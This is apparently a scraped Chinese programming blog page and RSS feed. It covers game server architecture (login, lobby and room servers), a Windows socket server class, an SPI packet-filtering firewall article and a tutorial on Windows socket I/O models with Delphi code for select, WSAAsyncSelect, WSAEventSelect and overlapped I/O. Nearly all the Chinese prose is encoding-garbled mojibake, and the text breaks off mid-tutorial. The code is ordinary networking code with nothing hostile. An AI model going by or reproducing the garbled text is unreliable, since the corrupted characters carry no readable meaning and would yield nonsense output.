嗘湇鍔″櫒寮濮嬩負褰撳墠鐜╁鍦ㄤ紬澶氱殑澶у巺鏈嶅姟鍣ㄤ腑鏍規(guī)嵁鍝竴涓ぇ鍘呮湇鍔″櫒浜烘暟姣旇緝?yōu)畱鏉ラ夋嫨涓涓ぇ鍘咃紝鍚屾椂鎶婅繖涓ぇ鍘呯殑榪炴帴IP鍜岀鍙e彂緇欏鎴風錛屽鎴風鏀跺埌榪欎釜IP鍜岀鍙d俊鎭悗錛屾牴鎹繖涓俊鎭繛鎺ュ埌姝ゅぇ鍘咃紝鍚屾椂錛屽鎴風鏂紑涓庣櫥闄嗘湇鍔″櫒涔嬮棿鐨勮繛鎺ワ紝榪欎究鏄敤鎴風櫥闄嗚繃紼嬩腑錛屽湪鐧婚檰鏈嶅姟鍣ㄨ繖涓鍧楃殑澶勭悊嫻佺▼銆?br>銆銆澶у巺鏈嶅姟鍣細澶у巺鏈嶅姟鍣紝鏄櫘閫氱帺瀹剁湅涓嶅埌鐨勬湇鍔″櫒錛屽畠鐨勮繛鎺P鍜岀鍙d俊鎭槸鐧婚檰鏈嶅姟鍣ㄩ氱煡緇欏鎴風鐨勩備篃灝辨槸璇達紝鍦≦Q娓告垙鐨勬湰鍦版枃浠朵腑錛屽叿浣撶殑澶у巺鏈嶅姟鍣ㄨ繛鎺P鍜岀鍙d俊鎭槸娌℃湁淇濆瓨鐨勩傚ぇ鍘呮湇鍔″櫒鐨勪富瑕佷綔鐢ㄦ槸鍚戠帺瀹跺彂閫佹父鎴忔埧闂村垪琛ㄤ俊鎭紝榪欎簺淇℃伅鍖呮嫭錛氭瘡涓父鎴忔埧闂寸殑綾誨瀷錛屽悕縐幫紝鍦ㄧ嚎浜烘暟錛岃繛鎺ュ湴鍧浠ュ強鍏跺畠濡傛父鎴忓府鍔╂枃浠禪RL鐨勪俊鎭備粠鐣岄潰涓婄湅鐨勮瘽錛屽ぇ鍘呮湇鍔″櫒灝辨槸鎴戜滑杈撳叆鐢ㄦ埛鍚嶅拰瀵嗙爜騫舵牎楠岄氳繃鍚庤繘鍏ョ殑娓告垙鎴塊棿鍒楄〃鐣岄潰銆傚ぇ鍘呮湇鍔″櫒錛屼富瑕佹湁浠ヤ笅鍔熻兘錛氫竴鏄悜褰撳墠鐜╁騫挎挱鍚勪釜娓告垙鎴塊棿鍦ㄧ嚎浜烘暟淇℃伅錛涗簩鏄彁渚涙父鎴忕殑鐗堟湰浠ュ強涓嬭澆鍦板潃淇℃伅錛涗笁鏄彁渚涘悇涓父鎴忔埧闂存湇鍔″櫒鐨勮繛鎺P鍜岀鍙d俊鎭紱鍥涙槸鎻愪緵娓告垙甯姪鐨刄RL淇℃伅錛涗簲鏄彁渚涘叾瀹冩父鎴忚緟鍔╁姛鑳姐備絾鍦ㄨ繖浼楀鐨勫姛鑳戒腑錛屾湁涓鐐規(guī)槸鏈涓烘牳蹇冪殑錛屽嵆錛氫負鐜╁鎻愪緵榪涘叆鍏蜂綋鐨勬父鎴忔埧闂寸殑閫氶亾錛岃鐜╁欏哄埄榪涘叆鍏舵榪涘叆鐨勬父鎴忔埧闂淬傜帺瀹舵牴鎹悇涓父鎴忔埧闂村湪綰夸漢鏁幫紝鍒ゅ畾鑷繁榪涘叆鍝竴涓埧闂達紝鐒跺悗鍙屽嚮鏈嶅姟鍣ㄥ垪琛ㄤ腑鐨勬煇涓父鎴忔埧闂村悗鐜╁寮濮嬭繘鍏ユ父鎴忔埧闂存湇鍔″櫒銆?br>銆銆娓告垙鎴塊棿鏈嶅姟鍣細娓告垙鎴塊棿鏈嶅姟鍣紝鍏蜂綋鍦拌灝辨槸濡?#8220;鏂楀湴涓?”錛?#8220;鏂楀湴涓?”榪欐牱鐨勬父鎴忔埧闂淬傛父鎴忔埧闂存湇鍔″櫒鎵嶆槸鍏蜂綋鐨勮礋璐f墽琛屾父鎴忕浉鍏抽昏緫鐨勬湇鍔″櫒銆傝繖鏍風殑娓告垙閫昏緫鍒嗕負涓ゅぇ綾伙細涓綾繪槸閫氱敤鐨勬父鎴忔埧闂撮昏緫錛屽錛氳繘鍏ユ埧闂達紝紱誨紑鎴塊棿錛岃繘鍏ユ瀛愶紝紱誨紑妗屽瓙浠ュ強鍦ㄦ埧闂村唴璇磋瘽絳夛紱絎簩綾繪槸娓告垙妗屽瓙閫昏緫錛岃繖涓氨鏄悇縐嶄笉鍚岀被鍨嬫父鎴忕殑涓昏鍖哄埆涔嬪浜嗭紝姣斿鏂楀湴涓諱腑鐨勫彨鍦頒富鎴栦笉鍙湴涓葷殑閫昏緫絳夛紝褰撶劧錛屾父鎴忔瀛愰昏緫閲屼篃鍖呮嫭鏈夐氱敤鐨勫悇涓父鎴忛噷閮藉瓨鍦ㄧ殑娓告垙閫昏緫錛屾瘮濡傚湪妗屽瓙鍐呰璇濈瓑銆傛諱箣錛屾父鎴忔埧闂存湇鍔″櫒鎵嶆槸鐪熸璐熻矗鎵ц娓告垙鍏蜂綋閫昏緫鐨勬湇鍔″櫒銆?br>銆銆榪欓噷鎻愬埌鐨勪笁綾繪湇鍔″櫒錛屾垜鍧囬噰鐢ㄧ殑鏄畬鎴愮鍙fā鍨嬶紝姣忎釜鏈嶅姟鍣ㄦ渶澶氳繛鎺ユ暟鐩槸5000浜猴紝浣嗘槸錛屾垜鍦ㄦ父鎴忔埧闂存湇鍔″櫒涓婁綔浜嗛昏緫灞傜殑闄愬畾錛屾渶澶氬彧鍏佽300浜哄悓鏃跺湪綰褲傚叾浠栦袱涓湇鍔″櫒浠嶇劧鍏佽鏈澶?000浜虹殑鍚屾椂鍦ㄧ嚎銆傚鏋滄寜鐓ц繖鏍風殑緇撴瀯鏉ヨ璁★紝閭d箞瑕佸疄鐜扮櫨涓囦漢鐨勫悓鏃跺湪綰垮氨搴旇鏄繖鏍鳳細棣栧厛鏄ぇ鍘咃紝1000000/5000錛?00銆備篃灝辨槸璇達紝鑷沖皯瑕?00鍙板ぇ鍘呮湇鍔″櫒錛屼絾閫氬父鎯呭喌涓嬶紝鑰冭檻鍒板疄闄呬嬌鐢ㄦ椂鏈嶅姟鍣ㄧ殑澶勭悊鑳藉姏鍜岃礋杞芥儏鍐碉紝搴旇鑷沖皯鍑嗗250鍙板乏鍙崇殑澶у巺鏈嶅姟鍣ㄧ▼搴忋傚彟澶栵紝鍏蜂綋鐨勫悇縐嶇被鍨嬬殑娓告垙鎴塊棿鏈嶅姟鍣ㄩ渶瑕佸灝戯紝灝辮鏍規(guī)嵁褰撳墠鐜╁悇縐嶇被鍨嬫父鎴忕殑鐜╁鏁扮洰鍒嗗埆璁$畻浜嗭紝姣斿鏂楀湴涓繪渶澶氭槸鍗佷竾浜哄悓鏃跺湪綰匡紝姣忓彴鏈嶅姟鍣ㄦ渶澶氬厑璁?00浜哄悓鏃跺湪綰匡紝閭d箞闇瑕佺殑鏂楀湴涓繪湇鍔″櫒鏁扮洰灝卞簲璇ヤ笉灝戜簬錛?00000/300=333錛屽噯澶囧緱鍏呭垎涓鐐癸紝灝辮鍑嗗350鍙版枟鍦頒富鏈嶅姟鍣ㄣ?br>銆銆闄ゆ甯哥殑鐜╁榪炴帴澶栵紝榪樿鑰冭檻鍒幫細
銆銆瀵逛簬鐧婚檰鏈嶅姟鍣紝浼氭湁250鍙板ぇ鍘呮湇鍔″櫒榪炴帴鍒版瘡涓櫥闄嗘湇鍔″櫒涓婏紝榪欐槸濮嬬粓閮借淇濇寔鐨勮繛鎺ワ紱
銆銆鑰屽浜庡ぇ鍘呮湇鍔″櫒鑰岃█錛屽鏋滀粎浠呮湁鏂楀湴涓昏繖涓綾葷殑鏈嶅姟鍣紝灝辮鏈?50澶氫釜榪炴帴涓庡悇涓ぇ鍘呮湇鍔″櫒濮嬬粓淇濇寔鐫銆傛墍浠ヤ粠榪欎竴鐐圭湅錛屾垜鐨勭粨鏋勫湪鏌愪簺鏂歸潰榪樺瓨鍦ㄧ潃闇瑕佹敼榪涚殑鍦版柟錛屼絾鏍稿績鎬濇兂鏄細灝藉揩鍦版彁渚涚敤鎴風櫥闄嗙殑閫熷害錛屽敖鍙兘鏂逛究鍦拌鐜╁榪涘叆娓告垙涓?

]]>
A Reusable Windows Socket Server Class With C++http://m.shnenglu.com/twzheng/articles/SSC.html璋枃鏀?/dc:creator>璋枃鏀?/author>Tue, 22 May 2007 16:12:00 GMThttp://m.shnenglu.com/twzheng/articles/SSC.htmlhttp://m.shnenglu.com/twzheng/comments/24653.htmlhttp://m.shnenglu.com/twzheng/articles/SSC.html#Feedback0http://m.shnenglu.com/twzheng/comments/commentRss/24653.htmlhttp://m.shnenglu.com/twzheng/services/trackbacks/24653.html闃呰鍏ㄦ枃

]]>
鍩轟簬SPI鐨勬暟鎹姤榪囨護鍘熺悊涓庡疄鐜?/title><link>http://m.shnenglu.com/twzheng/articles/24524.html</link><dc:creator>璋枃鏀?/dc:creator><author>璋枃鏀?/author><pubDate>Mon, 21 May 2007 03:36:00 GMT</pubDate><guid>http://m.shnenglu.com/twzheng/articles/24524.html</guid><wfw:comment>http://m.shnenglu.com/twzheng/comments/24524.html</wfw:comment><comments>http://m.shnenglu.com/twzheng/articles/24524.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.shnenglu.com/twzheng/comments/commentRss/24524.html</wfw:commentRss><trackback:ping>http://m.shnenglu.com/twzheng/services/trackbacks/24524.html</trackback:ping><description><![CDATA[     鎽樿: 鍩轟簬SPI鐨勬暟鎹姤榪囨護鍘熺悊涓庡疄鐜頒綔鑰咃細TOo2y [鎽樿嚜] VC 鐭ヨ瘑搴?錛坔ttp://www.vckbase.com/錛変竴. 涓漢闃茬伀澧欐妧鏈榪頒簩. Winsock 2 SPI浠嬬粛涓? 鐩稿叧紼嬪簭浠g爜鍒嗘瀽鍥? 灝忕粨涓庡悗璁頒簲. 闄勫綍涔嬫簮浠g爜 涓銆佷釜浜洪槻鐏鎶鏈榪?nbsp;   闅忕潃緗戠粶瀹夊叏闂鏃ョ泭涓ラ噸錛屽箍澶х敤鎴峰緗戠粶瀹夊叏浜у搧涔熻秺鏉ヨ秺鍏蟲敞銆傞槻鐏浣滀負涓縐嶇綉緇滃畨鍏ㄥ伐鍏?..  <a href='http://m.shnenglu.com/twzheng/articles/24524.html'>闃呰鍏ㄦ枃</a><img src ="http://m.shnenglu.com/twzheng/aggbug/24524.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.shnenglu.com/twzheng/" target="_blank">璋枃鏀?/a> 2007-05-21 11:36 <a href="http://m.shnenglu.com/twzheng/articles/24524.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>鏈閫氫織嫻呮樉鐨勨淚O妯″紡鈥濊В鏋?/title><link>http://m.shnenglu.com/twzheng/articles/24508.html</link><dc:creator>璋枃鏀?/dc:creator><author>璋枃鏀?/author><pubDate>Sun, 20 May 2007 17:46:00 GMT</pubDate><guid>http://m.shnenglu.com/twzheng/articles/24508.html</guid><wfw:comment>http://m.shnenglu.com/twzheng/comments/24508.html</wfw:comment><comments>http://m.shnenglu.com/twzheng/articles/24508.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.shnenglu.com/twzheng/comments/commentRss/24508.html</wfw:commentRss><trackback:ping>http://m.shnenglu.com/twzheng/services/trackbacks/24508.html</trackback:ping><description><![CDATA[<table style="TABLE-LAYOUT: fixed"> <tbody> <tr> <td> <div id="hvzpftn" class=cnt> <div id="hvzpftn" class=articleTitle><strong>[杞琞 鏈閫氫織嫻呮樉鐨?#8220;IO妯″紡”瑙f瀽<br></strong>[婧怾 錛歨ttp://hi.baidu.com/firebird/blog/item/f592b3193a02814542a9adeb.html<br><br> <font size=2>    涓錛歴elect妯″瀷<br>    浜岋細WSAAsyncSelect妯″瀷<br>    涓夛細WSAEventSelect妯″瀷<br>    鍥涳細Overlapped I/O 浜嬩歡閫氱煡妯″瀷<br>    浜旓細Overlapped I/O 瀹屾垚渚嬬▼妯″瀷<br>    鍏細IOCP妯″瀷</font><br><br>鍘熸枃鍚嶏細銆婂熀浜嶥elphi鐨凷ocket I/O妯″瀷鍏ㄦ帴瑙?nbsp;銆?<br>鑰侀檲鏈変竴涓湪澶栧湴宸ヤ綔鐨勫コ鍎匡紝涓嶈兘緇忓父鍥炴潵錛岃侀檲鍜屽ス閫氳繃淇′歡鑱旂郴銆備粬浠殑淇′細琚偖閫掑憳鎶曢掑埌浠栦滑鐨勪俊綆遍噷銆?nbsp; <br><br>榪欏拰Socket妯″瀷闈炲父綾諱技銆備笅闈㈡垜灝變互鑰侀檲鎺ユ敹淇′歡涓轟緥璁茶ВSocket I/O妯″瀷銆?nbsp; <br><br>涓錛歴elect妯″瀷  <br><br>鑰侀檲闈炲父鎯崇湅鍒板コ鍎跨殑淇°備互鑷充簬浠栨瘡闅?0鍒嗛挓灝變笅妤兼鏌ヤ俊綆憋紝鐪嬫槸鍚︽湁濂沖効鐨勪俊錛屽湪榪欑鎯呭喌涓嬶紝“涓嬫ゼ媯鏌ヤ俊綆?#8221;鐒跺悗鍥炲埌妤間笂鑰借浜嗚侀檲澶鐨勬椂闂達紝浠ヨ嚦浜庤侀檲鏃犳硶鍋氬叾浠栧伐浣溿?nbsp; <br><br>select妯″瀷鍜岃侀檲鐨勮繖縐嶆儏鍐甸潪甯哥浉浼鹼細鍛ㄨ屽濮嬪湴鍘繪鏌?.....濡傛灉鏈夋暟鎹?.....鎺ユ敹/鍙戦?......  <br><br>浣跨敤綰跨▼鏉elect搴旇鏄氱敤鐨勫仛娉曪細  <br><br>procedure TListenThread.Execute;  <br>var  <br>銆 addr : TSockAddrIn;  <br>銆 fd_read : TFDSet;  <br>銆 timeout : TTimeVal;  <br>銆 ASock,  <br>銆 MainSock : TSocket;  <br>銆 len, i : Integer;  <br>begin  <br>銆 MainSock := socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );  <br>銆 addr.sin_family := AF_INET;  <br>銆 addr.sin_port := htons(5678);  <br>銆 addr.sin_addr.S_addr := htonl(INADDR_ANY);  <br>銆 bind( MainSock, @addr, sizeof(addr) );  <br>銆 listen( MainSock, 5 );  <br><br>銆 while (not Terminated) do  <br>銆 begin  <br>銆銆 FD_ZERO( fd_read );  <br>銆銆 FD_SET( MainSock, fd_read );  <br>銆銆 timeout.tv_sec := 0;  <br>銆銆 timeout.tv_usec := 500;  <br>銆銆 if select( 0, @fd_read, nil, nil, @timeout ) > 0 then //鑷沖皯鏈?涓瓑寰匒ccept鐨刢onnection  <br>銆銆 begin  <br>銆銆銆 if FD_ISSET( MainSock, fd_read ) then  <br>銆銆銆 begin  <br>銆銆銆 for i:=0 to fd_read.fd_count-1 do //娉ㄦ剰錛宖d_count <= 64錛?<br>   涔熷氨鏄select鍙兘鍚屾椂綆$悊鏈澶?4涓繛鎺?nbsp; <br>銆銆銆 begin  <br>銆銆銆銆 len := sizeof(addr);  <br>銆銆銆銆 ASock := accept( MainSock, addr, len );  <br>銆銆銆銆 if ASock <> INVALID_SOCKET then  <br>銆銆銆銆銆 ....//涓篈Sock鍒涘緩涓涓柊鐨勭嚎紼嬶紝鍦ㄦ柊鐨勭嚎紼嬩腑鍐嶄笉鍋滃湴select  <br>銆銆銆銆 end;  <br>銆銆銆 end; 銆銆  <br>銆銆 end;  <br>銆 end; //while (not self.Terminated)  <br><br>銆 shutdown( MainSock, SD_BOTH );  <br>銆 closesocket( MainSock );  <br>end; <br>  <br><br><br>浜岋細WSAAsyncSelect妯″瀷  <br><br>鍚庢潵錛岃侀檲浣跨敤浜嗗井杞叕鍙哥殑鏂板紡淇$銆傝繖縐嶄俊綆遍潪甯稿厛榪涳紝涓鏃︿俊綆遍噷鏈夋柊鐨勪俊浠訛紝鐩栬尐灝變細緇欒侀檲鎵撶數(shù)璇濓細鍠傦紝澶х埛錛屼綘鏈夋柊鐨勪俊浠朵簡錛佷粠姝わ紝鑰侀檲鍐嶄篃涓嶅繀棰戠箒涓婁笅妤兼鏌ヤ俊綆變簡錛岀墮涔熶笉鐤間簡錛屼綘鐬呭噯浜嗭紝钃濆ぉ......涓嶆槸錛屽井杞?.....  <br><br>寰蔣鎻愪緵鐨刉SAAsyncSelect妯″瀷灝辨槸榪欎釜鎰忔濄?nbsp; <br><br>WSAAsyncSelect妯″瀷鏄疻indows涓嬫渶綆鍗曟槗鐢ㄧ殑涓縐峉ocket I/O妯″瀷銆備嬌鐢ㄨ繖縐嶆ā鍨嬫椂錛學indows浼氭妸緗戠粶浜嬩歡浠ユ秷鎭殑褰㈠娍閫氱煡搴旂敤紼嬪簭銆?nbsp; <br><br>棣栧厛瀹氫箟涓涓秷鎭爣紺哄父閲忥細  <br><br>const WM_SOCKET = WM_USER + 55; <br>  <br><br><br>鍐嶅湪涓籉orm鐨刾rivate鍩熸坊鍔犱竴涓鐞嗘娑堟伅鐨勫嚱鏁板0鏄庯細  <br><br>private  <br>procedure WMSocket(var Msg: TMessage); message WM_SOCKET; <br>  <br>銆  <br><br>鐒跺悗灝卞彲浠ヤ嬌鐢╓SAAsyncSelect浜嗭細  <br><br>var  <br>銆 addr : TSockAddr;  <br>銆 sock : TSocket;  <br><br>銆 sock := socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );  <br>銆 addr.sin_family := AF_INET;  <br>銆 addr.sin_port := htons(5678);  <br>銆 addr.sin_addr.S_addr := htonl(INADDR_ANY);  <br>銆 bind( m_sock, @addr, sizeof(SOCKADDR) );  <br><br>銆 WSAAsyncSelect( m_sock, Handle, WM_SOCKET, FD_ACCEPT or FD_CLOSE );  <br><br>銆 listen( m_sock, 5 );  <br>銆 .... <br>  <br><br><br>搴旂敤紼嬪簭鍙互瀵規(guī)敹鍒癢M_SOCKET娑堟伅榪涜鍒嗘瀽錛屽垽鏂槸鍝竴涓猻ocket浜х敓浜嗙綉緇滀簨浠朵互鍙婁簨浠剁被鍨嬶細  <br><br>procedure TfmMain.WMSocket(var Msg: TMessage);  <br>var  <br>銆 sock : TSocket;  <br>銆 addr : TSockAddrIn;  <br>銆 addrlen : Integer;  <br>銆 buf : Array [0..4095] of Char;  <br>begin  <br>銆 //Msg鐨刉Param鏄駭鐢熶簡緗戠粶浜嬩歡鐨剆ocket鍙ユ焺錛孡Param鍒欏寘鍚簡浜嬩歡綾誨瀷  <br>銆 case WSAGetSelectEvent( Msg.LParam ) of  <br>銆 FD_ACCEPT :  <br>銆銆 begin  <br>銆銆銆 addrlen := sizeof(addr);  <br>銆銆銆 sock := accept( Msg.WParam, addr, addrlen );  <br>銆銆銆 if sock <> INVALID_SOCKET then  <br>銆銆銆銆 WSAAsyncSelect( sock, Handle, WM_SOCKET, FD_READ or FD_WRITE or FD_CLOSE );  <br>銆銆 end;  <br><br>銆銆 FD_CLOSE : closesocket( Msg.WParam );  <br>銆銆 FD_READ : recv( Msg.WParam, buf[0], 4096, 0 );  <br>銆銆 FD_WRITE : ;  <br>銆 end;  <br>end; <br>  <br><br><br>涓夛細WSAEventSelect妯″瀷  <br><br>鍚庢潵錛屽井杞殑淇$闈炲父鐣呴攢錛岃喘涔板井杞俊綆辯殑浜轟互鐧句竾璁℃暟......浠ヨ嚦浜庣洊鑼ㄦ瘡澶?4灝忔椂緇欏鎴鋒墦鐢?shù)璇濆Q岀瘡寰楄叞閰歌儗鐥涳紝鍠濊殎鍔涚閮戒笉濂戒嬌銆傚井杞敼榪涗簡浠栦滑鐨勪俊綆憋細鍦ㄥ鎴風殑瀹朵腑娣誨姞涓涓檮鍔犺緗紝榪欎釜瑁呯疆浼氱洃瑙嗗鎴風殑淇$錛屾瘡褰撴柊鐨勪俊浠舵潵涓達紝姝よ緗細鍙戝嚭“鏂頒俊浠跺埌杈?#8221;澹幫紝鎻愰啋鑰侀檲鍘繪敹淇°傜洊鑼ㄧ粓浜庡彲浠ョ潯瑙変簡銆?nbsp; <br><br>鍚屾牱瑕佷嬌鐢ㄧ嚎紼嬶細  <br><br>procedure TListenThread.Execute;  <br>var  <br>銆 hEvent : WSAEvent;  <br>銆 ret : Integer;  <br>銆 ne : TWSANetworkEvents;  <br>銆 sock : TSocket;  <br>銆 adr : TSockAddrIn;  <br>銆 sMsg : String;  <br>銆 Index,  <br>銆 EventTotal : DWORD;  <br>銆 EventArray : Array [0..WSA_MAXIMUM_WAIT_EVENTS-1] of WSAEVENT;  <br>begin  <br>銆 ...socket...bind...  <br>銆 hEvent := WSACreateEvent();  <br>銆 WSAEventSelect( ListenSock, hEvent, FD_ACCEPT or FD_CLOSE );  <br>銆 ...listen...  <br><br>銆 while ( not Terminated ) do  <br>銆 begin  <br>銆銆 Index := WSAWaitForMultipleEvents( EventTotal, @EventArray[0], FALSE,  <br>  WSA_INFINITE, FALSE );  <br>銆銆 FillChar( ne, sizeof(ne), 0 );  <br>銆銆 WSAEnumNetworkEvents( SockArray[Index-WSA_WAIT_EVENT_0],  <br>    EventArray <br>  [Index-WSA_WAIT_EVENT_0], @ne );  <br><br>銆銆 if ( ne.lNetworkEvents and FD_ACCEPT ) > 0 then  <br>銆銆 begin  <br>銆銆銆 if ne.iErrorCode[FD_ACCEPT_BIT] <> 0 then  <br>銆銆銆銆 continue;  <br><br>銆銆銆 ret := sizeof(adr);  <br>銆銆銆 sock := accept( SockArray[Index-WSA_WAIT_EVENT_0], adr, ret );  <br>銆銆銆 if EventTotal > WSA_MAXIMUM_WAIT_EVENTS-1 then <br>      //榪欓噷WSA_MAXIMUM_WAIT_EVENTS鍚屾牱鏄?4  <br>銆銆銆 begin  <br>銆銆銆銆 closesocket( sock );  <br>銆銆銆銆 continue;  <br>銆銆銆 end;  <br><br>銆銆銆 hEvent := WSACreateEvent();  <br>銆銆銆 WSAEventSelect( sock, hEvent, FD_READ or FD_WRITE or FD_CLOSE );  <br>銆銆銆 SockArray[EventTotal] := sock;  <br>銆銆銆 EventArray[EventTotal] := hEvent;  <br>銆銆銆 Inc( EventTotal );  <br>銆銆 end;  <br><br>銆銆 if ( ne.lNetworkEvents and FD_READ ) > 0 then  <br>銆銆 begin  <br>銆銆銆 if ne.iErrorCode[FD_READ_BIT] <> 0 then  <br>銆銆銆銆 continue;  <br>銆銆銆銆 FillChar( RecvBuf[0], PACK_SIZE_RECEIVE, 0 );  <br>銆銆銆銆 ret := recv( SockArray[Index-WSA_WAIT_EVENT_0], RecvBuf[0],  <br>    PACK_SIZE_RECEIVE, 0 );  <br>銆銆銆銆 ......  <br>銆銆銆 end;  <br>銆銆 end;  <br>end; <br>  <br><br><br><br>鍥涳細Overlapped I/O 浜嬩歡閫氱煡妯″瀷  <br><br>鍚庢潵錛屽井杞氳繃璋冩煡鍙戠幇錛岃侀檲涓嶅枩嬈笂涓嬫ゼ鏀跺彂淇′歡錛屽洜涓轟笂涓嬫ゼ鍏跺疄寰堟氮璐規(guī)椂闂淬備簬鏄井杞啀嬈℃敼榪涗粬浠殑淇$銆傛柊寮忕殑淇$閲囩敤浜嗘洿涓哄厛榪涚殑鎶鏈紝鍙鐢ㄦ埛鍛婅瘔寰蔣鑷繁鐨勫鍦ㄥ嚑妤煎嚑鍙鳳紝鏂板紡淇$浼氭妸淇′歡鐩存帴浼犻佸埌鐢ㄦ埛鐨勫涓紝鐒跺悗鍛婅瘔鐢ㄦ埛錛屼綘鐨勪俊浠跺凡緇忔斁鍒頒綘鐨勫涓簡錛佽侀檲寰堥珮鍏達紝鍥犱負浠栦笉蹇呭啀浜茶嚜鏀跺彂淇′歡浜嗭紒  <br><br>Overlapped I/O 浜嬩歡閫氱煡妯″瀷鍜學SAEventSelect妯″瀷鍦ㄥ疄鐜頒笂闈炲父鐩鎬技錛屼富瑕佸尯鍒湪"Overlapped”錛孫verlapped妯″瀷鏄搴旂敤紼嬪簭浣跨敤閲嶅彔鏁版嵁緇撴瀯(WSAOVERLAPPED)錛屼竴嬈℃姇閫掍竴涓垨澶氫釜Winsock I/O璇鋒眰銆傝繖浜涙彁浜ょ殑璇鋒眰瀹屾垚鍚庯紝搴旂敤紼嬪簭浼氭敹鍒伴氱煡銆備粈涔堟剰鎬濆憿錛熷氨鏄錛屽鏋滀綘鎯充粠socket涓婃帴鏀舵暟鎹紝鍙渶瑕佸憡璇夌郴緇燂紝鐢辯郴緇熶負浣犳帴鏀舵暟鎹紝鑰屼綘闇瑕佸仛鐨勫彧鏄負緋葷粺鎻愪緵涓涓紦鍐插尯~~~~~  <br><br>Listen綰跨▼鍜學SAEventSelect妯″瀷涓妯′竴鏍鳳紝Recv/Send綰跨▼鍒欏畬鍏ㄤ笉鍚岋細  <br><br>procedure TOverlapThread.Execute;  <br>var  <br>銆 dwTemp : DWORD;  <br>銆 ret : Integer;  <br>銆 Index : DWORD;  <br>begin  <br>銆 ......  <br><br>銆 while ( not Terminated ) do  <br>銆 begin  <br>銆銆 Index := WSAWaitForMultipleEvents <br>   ( FLinks.Count, @FLinks.Events[0], FALSE,  <br>    RECV_TIME_OUT, FALSE );  <br>銆銆 Dec( Index, WSA_WAIT_EVENT_0 );  <br>銆銆 if Index > WSA_MAXIMUM_WAIT_EVENTS-1 then  <br>    //瓚呮椂鎴栬呭叾浠栭敊璇?nbsp; <br>銆銆銆 continue;  <br><br>銆銆 WSAResetEvent <br>   ( FLinks.Events[Index] );  <br>銆銆 WSAGetOverlappedResult( FLinks.Sockets[Index],  <br>      FLinks.pOverlaps[Index], @dwTemp, FALSE,FLinks. <br>     pdwFlags[Index]^ );  <br><br>銆銆 if dwTemp = 0 then //榪炴帴宸茬粡鍏抽棴  <br>銆銆 begin  <br>銆銆銆 ......  <br>銆銆銆 continue;  <br>銆銆 end else  <br>銆 begin  <br>銆銆 fmMain.ListBox1.Items.Add( FLinks.pBufs[Index]^.buf );  <br>銆 end;  <br><br>銆 //鍒濆鍖栫紦鍐插尯  <br>銆 FLinks.pdwFlags[Index]^ := 0;  <br>銆 FillChar( FLinks.pOverlaps[Index]^,  <br>    sizeof(WSAOVERLAPPED), 0 );  <br>銆 FLinks.pOverlaps[Index]^. <br>   hEvent := FLinks.Events[Index];  <br>銆 FillChar( FLinks.pBufs[Index]^.buf^,  <br>   BUFFER_SIZE, 0 );  <br><br>銆 //閫掍竴涓帴鏀舵暟鎹姹?nbsp; <br>銆 WSARecv( FLinks.Sockets[Index], FLinks.pBufs[Index], 1, <br>       FLinks.pdwRecvd[Index]^, FLinks.pdwFlags[Index]^,  <br>      FLinks.pOverlaps[Index], nil );  <br>end;  <br>end; <br>  <br><br><br>浜旓細Overlapped I/O 瀹屾垚渚嬬▼妯″瀷  <br><br>鑰侀檲鎺ユ敹鍒版柊鐨勪俊浠跺悗錛屼竴鑸殑紼嬪簭鏄細鎵撳紑淇″皝----鎺忓嚭淇$焊----闃呰淇′歡----鍥炲淇′歡......涓轟簡榪涗竴姝ュ噺杞葷敤鎴瘋礋鎷咃紝寰蔣鍙堝紑鍙戜簡涓縐嶆柊鐨勬妧鏈細鐢ㄦ埛鍙鍛婅瘔寰蔣瀵逛俊浠剁殑鎿嶄綔姝ラ錛屽井杞俊綆卞皢鎸夌収榪欎簺姝ラ鍘誨鐞嗕俊浠訛紝涓嶅啀闇瑕佺敤鎴蜂翰鑷媶淇?闃呰/鍥炲浜嗭紒鑰侀檲緇堜簬榪囦笂浜嗗皬璧勭敓媧伙紒  <br><br>Overlapped I/O 瀹屾垚渚嬬▼瑕佹眰鐢ㄦ埛鎻愪緵涓涓洖璋冨嚱鏁幫紝鍙戠敓鏂扮殑緗戠粶浜嬩歡鐨勬椂鍊欑郴緇熷皢鎵ц榪欎釜鍑芥暟錛?nbsp; <br><br>procedure WorkerRoutine( const dwError, cbTransferred : DWORD;  <br>const  <br>lpOverlapped : LPWSAOVERLAPPED; const dwFlags : DWORD ); stdcall; <br>  <br><br><br>鐒跺悗鍛婅瘔緋葷粺鐢╓orkerRoutine鍑芥暟澶勭悊鎺ユ敹鍒扮殑鏁版嵁錛?nbsp; <br><br>WSARecv( m_socket, @FBuf, 1, dwTemp, dwFlag, @m_overlap, WorkerRoutine );  <br>銆銆 鐒跺悗......娌℃湁浠涔堢劧鍚庝簡錛岀郴緇熶粈涔堥兘緇欎綘鍋氫簡錛佸井杞湡瀹炰綋璐達紒  <br><br>while ( not Terminated ) do//榪欏氨鏄竴涓猂ecv/Send綰跨▼瑕佸仛鐨勪簨鎯?.....浠涔堥兘涓嶇敤鍋氬晩錛侊紒錛?nbsp; <br>begin  <br>銆 if SleepEx( RECV_TIME_OUT, True ) = WAIT_IO_COMPLETION then //  <br>銆 begin  <br>銆銆 ;  <br>銆 end else  <br>銆 begin  <br>銆銆 continue;  <br>銆 end;  <br>end; <br>  <br><br><br>鍏細IOCP妯″瀷  <br><br>寰蔣淇$浼間箮寰堝畬緹庯紝鑰侀檲涔熷緢婊℃剰銆備絾鏄湪涓浜涘ぇ鍏徃鎯呭喌鍗村畬鍏ㄤ笉鍚岋紒榪欎簺澶у叕鍙告湁鏁頒互涓囪鐨勪俊綆憋紝姣忕閽熼兘鏈夋暟浠ョ櫨璁$殑淇′歡闇瑕佸鐞嗭紝浠ヨ嚦浜庡井杞俊綆辯粡甯稿洜瓚呰礋鑽瘋繍杞屽穿婧冿紒闇瑕侀噸鏂板惎鍔紒寰蔣涓嶅緱涓嶄嬌鍑烘潃鎵嬮攺......  <br><br>寰蔣緇欐瘡涓ぇ鍏徃媧句簡涓鍚嶅悕鍙?#8220;Completion Port”鐨勮秴綰ф満鍣ㄤ漢錛岃榪欎釜鏈哄櫒浜哄幓澶勭悊閭d簺淇′歡錛?nbsp; <br><br>“Windows 